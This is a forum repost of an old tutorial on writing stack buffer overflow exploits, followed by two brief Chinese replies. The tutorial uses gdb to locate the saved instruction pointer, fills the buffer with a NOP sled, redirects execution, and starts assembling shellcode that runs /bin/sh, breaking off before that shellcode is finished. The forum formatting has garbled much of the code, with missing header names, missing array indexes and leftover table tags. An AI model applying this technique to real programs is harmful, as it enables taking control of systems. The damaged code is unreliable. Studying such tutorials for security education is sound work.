How to write Buffer Overflows-Part1

How to write Buffer OverflowsThis is really rough, and some of it is not needed. I wrote this as a reminder note to myself as I really didn’t want to look at any more AT&T assembly again for a while and was afraid I would forget what I had done. If you are an old assembly guru then you might scoff at some of this… oh well, it works and that’s a hack in itself.
-by mudge@l0pht.com 10/20/95

test out the program (duh).
[table=98%]
[tr][td]--------syslog_test_1.c------------#include char buffer[4028];void main() { int i; for (i=0; i<=4028; i++) buffer=‘A’; syslog(LOG_ERR, buffer);}--------end syslog_test_1.c----------[/td][/tr]
[/table]Compile the program and run it. Make sure you include the symbol table for the debugger or not… depending upon how macho you feel today.[table=98%]
[tr][td]bash$ gcc -g buf.c -o bufbash$ bufSegmentation fault (core dumped)[/td][/tr]
[/table]The ‘Segmentation fault (core dumped)’ is what we wanted to see. This tells us there is definately an attempt to access some memory address that we shouldn’t. If you do much in ‘C’ with pointers on a unix machine you have probably seen this (or Bus error) when pointing or dereferencing incorrectly.

Fire up gdb on the program (with or without the core file). Assuming you remove the core file (this way you can learn a bit about gdb), the steps would be as follows:
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[tr][td] bash$ gdb buf (gdb) run Starting program: /usr2/home/syslog/buf Program received signal 11, Segmentation fault 0x1273 in vsyslog (0x41414141, 0x41414141, 0x41414141, 0x41414141)[/td][/tr]
[/table]Ok, this is good. The 41’s you see are the hex equivallent for the ascii character ‘A’. We are definately going places where we shouldn’t be.[table=98%]
[tr][td] (gdb) info all-registers eax 0xefbfd641 -272640447 ecx 0x00000000 0 edx 0xefbfd67c -272640388 ebx 0xefbfe000 -272637952 esp 0xefbfd238 0xefbfd238 ebp 0xefbfde68 0xefbfde68 esi 0xefbfd684 -272640380 edi 0x0000cce8 52456 eip 0x00001273 0x1273 ps 0x00010212 66066 cs 0x0000001f 31 ss 0x00000027 39 ds 0x00000027 39 es 0x00000027 39 fs 0x00000027 39 gs 0x00000027 39[/td][/tr]
[/table]The gdb command ‘info all-registers’ shows the values in the current hardware registers. The one we are really interested in is ‘eip’. On some platforms this will be called ‘ip’ or ‘pc’. It is the Instruction Pointer [also called Program Counter]. It points to the memory location of the next instruction the processor will execute. By overwriting this you can point to the beginning of your own code and the processor will merrily start executing it assuming you have it written as native opcodes and operands.

In the above we haven’t gotten exactly where we need to be yet. If you want to see where it crashed out do the following:
[table=98%]
[tr]td disassemble 0x1273 [stuff deleted] 0x1267 : incl 0xfffff3dc(%ebp) 0x126d : testb %al,%al 0x126f : jne 0x125c 0x1271 : jmp 0x1276 0x1273 : movb %al,(%ebx) 0x1275 : incl %ebx 0x1276 : incl %edi 0x1277 : movb (%edi),%al 0x1279 : testb %al,%al[/td][/tr]
[/table]If you are familiar with microsoft assembler this will be a bit backwards to you. For example: in microsoft you would ‘mov ax,cx’ to move cx to ax. In AT&T ‘mov ax,cx’ moves ax to cx. So put on those warp refraction eye-goggles and on we go.

Note also that Intel assembler

let’s go back and tweak the original source code some eh?
[table=98%]
[tr][td]-------------syslog_test_2.c-------------#include char buffer[4028];void main() { int i; for (i=0; i<2024; i++) buffer=‘A’; syslog(LOG_ERR, buffer);}-----------end syslog_test_2.c-------------[/td][/tr]
[/table]We’re just shortening the length of ‘A’'s.[table=98%]
[tr][td] bash$ gcc -g buf.c -o buf bash$ gdb buf (gdb) run Starting program: /usr2/home/syslog/buf Program received signal 5, Trace/BPT trap 0x1001 in ?? (Error accessing memory address 0x41414149: Cannot allocate memory.[/td][/tr]
[/table]This is the magic response we’ve been looking for.[table=98%]
[tr][td] (gdb) info all-registers eax 0xffffffff -1 ecx 0x00000000 0 edx 0x00000008 8 ebx 0xefbfdeb4 -272638284 esp 0xefbfde70 0xefbfde70 ebp 0x41414141 0x41414141 ← here it is!!! esi 0xefbfdec0 -272638272 edi 0xefbfdeb8 -272638280 eip 0x00001001 0x1001 ps 0x00000246 582 cs 0x0000001f 31 ss 0x00000027 39 ds 0x00000027 39 es 0x00000027 39 fs 0x00000027 39 gs 0x00000027 39[/td][/tr]
[/table]Now we move it along until we figure out where eip lives in the overflow (which is right after ebp in this arch architecture). With that known fact we only have to add 4 more bytes to our buffer of ‘A’'s and we will overwrite eip completely.[table=98%]
[tr][td]---------syslog_test_3.c----------------#include char buffer[4028];void main() { int i; for (i=0; i<2028; i++) buffer=‘A’; syslog(LOG_ERR, buffer);}-------end syslog_test_3.c------------ bash$ !gc gcc -g buf.c -o buf bash$ gdb buf (gdb) run Starting program: /usr2/home/syslog/buf Program received signal 11, Segmentation fault 0x41414141 in errno (Error accessing memory address 0x41414149: Cannot allocate memory. (gdb) info all-registers eax 0xffffffff -1 ecx 0x00000000 0 edx 0x00000008 8 ebx 0xefbfdeb4 -272638284 esp 0xefbfde70 0xefbfde70 ebp 0x41414141 0x41414141 esi 0xefbfdec0 -272638272 edi 0xefbfdeb8 -272638280 eip 0x41414141 0x41414141 ps 0x00010246 66118 cs 0x0000001f 31 ss 0x00000027 39 ds 0x00000027 39 es 0x00000027 39 fs 0x00000027 39 gs 0x00000027 39[/td][/tr]
[/table]BINGO!!!

Here’s where it starts to get interesting. Now that we know eip starts at buffer[2024] and goes through buffer[2027] we can load it up with whatever we need. The question is… what do we need?

We find this by looking at the contents of buffer.
[table=98%]
[tr][td] (gdb) disassemble buffer [stuff deleted] 0xc738 : incl %ecx 0xc739 : incl %ecx 0xc73a : incl %ecx 0xc73b : incl %ecx 0xc73c : addb %al,(%eax) 0xc73e : addb %al,(%eax) 0xc740 : addb %al,(%eax) [stuff deleted][/td][/tr]
[/table]On the Intel x86 architecture [a pentium here but that doesn’t matter] incl %eax is opcode 0100 0001 or 41hex. addb %al,(%eax) is 0000 0000 or 0x0 hex. We will load up buffer[2024] to buffer[2027] with the address of 0xc73c where we will start our code. You have two options here, one is to load the buffer up with the opcodes and operands and point the eip back into the buffer; the other option is what we are going to be doing which is to put the opcodes and operands after the eip and point to them.

The advantage to putting the code inside the buffer is that other than the ebp and eip registers you don’t clobber anything else. The disadvantage is that you will need to do trickier coding (and actually write the assembly yourself) so that there are no bytes that contain 0x0 which will look like a null in the string. This will require you to know enough about the native chip architecture and opcodes to do this [easy enough for some people on Intel x86’s but what happens when you run into an Alpha? – lucky for us there is a gdb for Alpha I think ;-)].

The advantage to putting the code after the eip is that you don’t have to worry about bytes containing 0x0 in them. This way you can write whatever program you want to execute in ‘C’ and have gdb generate most of the machine code for you. The disadvantage is that you are overwriting the great unknown. In most cases the section you start to overwrite here contains your environment variables and other whatnots… upon succesfully running your created code you might be dropped back into a big void. Deal with it.

The safest instruction is NOP which is a benign no-operation. This is what you will probably be loading the buffer up with as filler.

Ahhh but what if you don’t know what the opcodes are for the particular architecture you are on. No problem. gcc has a wonderfull function called asm(char *); I rely upon this heavily for doing buffer overflows on architectures that I don’t have assembler books for.
[table=98%]
[tr][td]------nop.c--------void main(){asm(“nop\n”);}----end nop.c------ bash$ gcc -g nop.c -o nop bash$ gdb nop (gdb) disassemble main Dump of assembler code for function main: to 0x1088: 0x1080 : pushl %ebp 0x1081 : movl %esp,%ebp 0x1083 : nop 0x1084 : leave 0x1085 : ret 0x1086 : addb %al,(%eax) End of assembler dump. (gdb) x/bx 0x1083 0x1083 : 0x90[/td][/tr]
[/table]Since nop is at 0x1083 and the next instruction is at 0x1084 we know that nop only takes up one byte. Examining that byte shows us that it is 0x90 (hex).

Our program now looks like this:
[table=98%]
[tr][td]------ syslog_test_4.c---------#include char buffer[4028];void main() { int i; for (i=0; i<2024; i++) buffer[i]=0x90; i=2024; buffer[i++]=0x3c; buffer[i++]=0xc7; buffer[i++]=0x00; buffer=0x00; syslog(LOG_ERR, buffer);}------end syslog_test_4.c-------[/td][/tr]
[/table]Notice you need to load the eip backwards ie 0000c73c is loaded into the buffer as 3c c7 00 00.

Now the question we have is what is the code we insert from here on?

Suppose we want to run /bin/sh? Gee, I don’t have a friggin clue as to why someone would want to do something like this, but I hear there are a lot of nasty people out there. Oh well. Here’s the proggie we want to execute in C code:
[table=98%]
[tr][td]------execute.c--------#include main(){ char *name[2]; name[0] = “sh”; name[1] = NULL; execve(“/bin/sh”,name,NULL);} ----end execute.c------- bash$ gcc -g execute.c -o execute bash$ execute $ [/td][/tr]
[/table]Ok, the program works. Then again, if you couldn’t whip up that little prog you should probably throw in the towel here. Maybe become a webmaster or something that requires little to no programming (or brainwave activity period). Here’s the gdb scoop:[table=98%]
[tr][td] bash$ gdb execute (gdb) disassemble main Dump of assembler code for function main: to 0x10b8: 0x1088 : pushl %ebp 0x1089 : movl %esp,%ebp 0x108b : subl $0x8,%esp 0x108e : movl $0x1080,0xfffffff8(%ebp) 0x1095 : movl $0x0,0xfffffffc(%ebp) 0x109c : pushl $0x0 0x109e : leal 0xfffffff8(%ebp),%eax 0x10a1 : pushl %eax 0x10a2 : pushl $0x1083 0x10a7 : call 0x10b8 0x10ac : leave 0x10ad : ret 0x10ae : addb %al,(%eax) 0x10b0 : jmp 0x1140 0x10b5 : addb %al,(%eax) 0x10b7 : addb %cl,0x3b05(%ebp) End of assembler dump. (gdb) disassemble execve Dump of assembler code for function execve: to 0x10c8: 0x10b8 : leal 0x3b,%eax 0x10be : lcall 0x7,0x0 0x10c5 : jb 0x10b0 0x10c7 : ret End of assembler dump.[/td][/tr]
[/table]This is the assembly behind what our execute program does to run /bin/sh. We use execve() as it is a system call and this is what we are going to have our program execute (ie let the kernel service run it as opposed to having to write it from scratch).

0x1083 contains the /bin/sh string and is the last thing pushed onto the stack before the call to execve.
[table=98%]
[tr][td] (gdb) x/10bc 0x1083 0x1083 : 47 ‘/’ 98 ‘b’ 105 ‘i’ 110 ‘n’ 47 ‘/’ 115 ‘s’ 104 ‘h’ 0 ‘\000’[/td][/tr]
[/table](0x1080 contains the arguments…which I haven’t been able to really clean up).

We will replace this address with the one where our string lives [when we decide where that will be].

Here’s the skeleton we will use from the execve disassembly:
[table=98%]
[tr][td][main] 0x108d : movl %esp,%ebp 0x108e : movl $0x1083,0xfffffff8(%ebp) 0x1095 : movl $0x0,0xfffffffc(%ebp) 0x109c : pushl $0x0 0x109e : leal 0xfffffff8(%ebp),%eax 0x10a1 : pushl %eax 0x10a2 : pushl $0x1080[execve] 0x10b8 : leal 0x3b,%eax 0x10be : lcall 0x7,0x0[/td][/tr]
[/table]All you need to do from here is to build up a bit of an environment for the program. Some of this stuff isn’t necesary but I have it in still as I haven’t fine tuned this yet.

I clean up eax. I don’t remember why I do this and it shouldn’t really be necesarry. Hell, better quit hitting the sauce. I’ll figure out if it is after I tune this up a bit.
[table=98%]
[tr][td] xorl %eax,%eax[/td][/tr]
[/table]We will encapsulate the actuall program with a jmp to somewhere and a call right back to the instruction after the jmp. This pushes ecx and esi onto the stack.[table=98%]
[tr][td] jmp 0x??? # this will jump to the call… popl %esi popl %ecx[/td][/tr]
[/table][table=98%]
[tr][td][/td][/tr]
[/table]

原文http://insecure.org/stf/mudge_buffer_overflow_tutorial.html

我来挽尊
这样的帖子看着头大,不光是英语的问题,似乎专业性太强,望而生畏

哈哈哈,下次翻译一下。